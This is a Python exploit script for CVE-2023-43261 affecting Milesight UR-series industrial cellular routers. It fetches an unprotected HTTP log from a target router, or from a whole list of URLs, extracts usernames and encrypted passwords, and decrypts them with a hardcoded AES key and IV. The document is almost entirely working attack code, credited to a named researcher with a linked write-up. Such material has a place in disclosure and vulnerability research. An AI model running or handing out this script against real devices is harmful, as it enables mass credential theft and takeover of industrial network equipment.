Milesight Routers UR5X, UR32L, UR32, UR35, UR41 - Credential Leakage Through Unprotected System Logs and Weak Password Encryption

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Title: Credential Leakage Through Unprotected System Logs and Weak Password Encryption
CVE: CVE-2023-43261
Script Author: Bipin Jitiya (@win3zz)
Vendor: Milesight IoT - https://www.milesight-iot.com/ (Formerly Xiamen Ursalink Technology Co., Ltd.)
Software/Hardware: UR5X, UR32L, UR32, UR35, UR41 and there might be other Industrial Cellular Router could also be vulnerable.
Script Tested on: Ubuntu 20.04.6 LTS with Python 3.8.10
Writeup: https://medium.com/@win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf
"""

import sys
import requests
import re
import warnings
from Crypto.Cipher import AES # pip install pycryptodome
from Crypto.Util.Padding import unpad
import base64
import time

warnings.filterwarnings("ignore")

KEY = b'1111111111111111'
IV = b'2222222222222222'

def decrypt_password(password):
    try:
        return unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(password)), AES.block_size).decode('utf-8')
    except ValueError as e:
        display_output('      [-] Error occurred during password decryption: ' + str(e), 'red')

def display_output(message, color):
    colors = {'red': '\033[91m', 'green': '\033[92m', 'blue': '\033[94m', 'yellow': '\033[93m', 'cyan': '\033[96m', 'end': '\033[0m'}
    print(f"{colors[color]}{message}{colors['end']}")
    time.sleep(0.5)

urls = []

if len(sys.argv) == 2:
    urls.append(sys.argv[1])

if len(sys.argv) == 3 and sys.argv[1] == '-f':
    with open(sys.argv[2], 'r') as file:
        urls.extend(file.read().splitlines())

if len(urls) == 0:
    display_output('Please provide a URL or a file with a list of URLs.', 'red')
    display_output('Example: python3 ' + sys.argv[0] + ' https://example.com', 'blue')
    display_output('Example: python3 ' + sys.argv[0] + ' -f urls.txt', 'blue')
    sys.exit()

use_proxy = False
proxies = {'http': 'http://127.0.0.1:8080/'} if use_proxy else None

for url in urls:
    display_output('[*] Initiating data retrieval for: ' + url + '/lang/log/httpd.log', 'blue')
    response = requests.get(url + '/lang/log/httpd.log', proxies=proxies, verify=False)

    if response.status_code == 200:
        display_output('[+] Data retrieval successful for: ' + url + '/lang/log/httpd.log', 'green')
        data = response.text
        credentials = set(re.findall(r'"username":"(.*?)","password":"(.*?)"', data))

        num_credentials = len(credentials)
        display_output(f'[+] Found {num_credentials} unique credentials for: ' + url, 'green')

        if num_credentials > 0:
            display_output('[+] Login page: ' + url + '/login.html', 'green')
            display_output('[*] Extracting and decrypting credentials for: ' + url, 'blue')
            display_output('[+] Unique Credentials:', 'yellow')
            for i, (username, password) in enumerate(credentials, start=1):
                display_output(f'    Credential {i}:', 'cyan')
                decrypted_password = decrypt_password(password.encode('utf-8'))
                display_output(f'      - Username: {username}', 'green')
                display_output(f'      - Password: {decrypted_password}', 'green')
        else:
            display_output('[-] No credentials found in the retrieved data for: ' + url, 'red')
    else:
        display_output('[-] Data retrieval failed. Please check the URL: ' + url, 'red')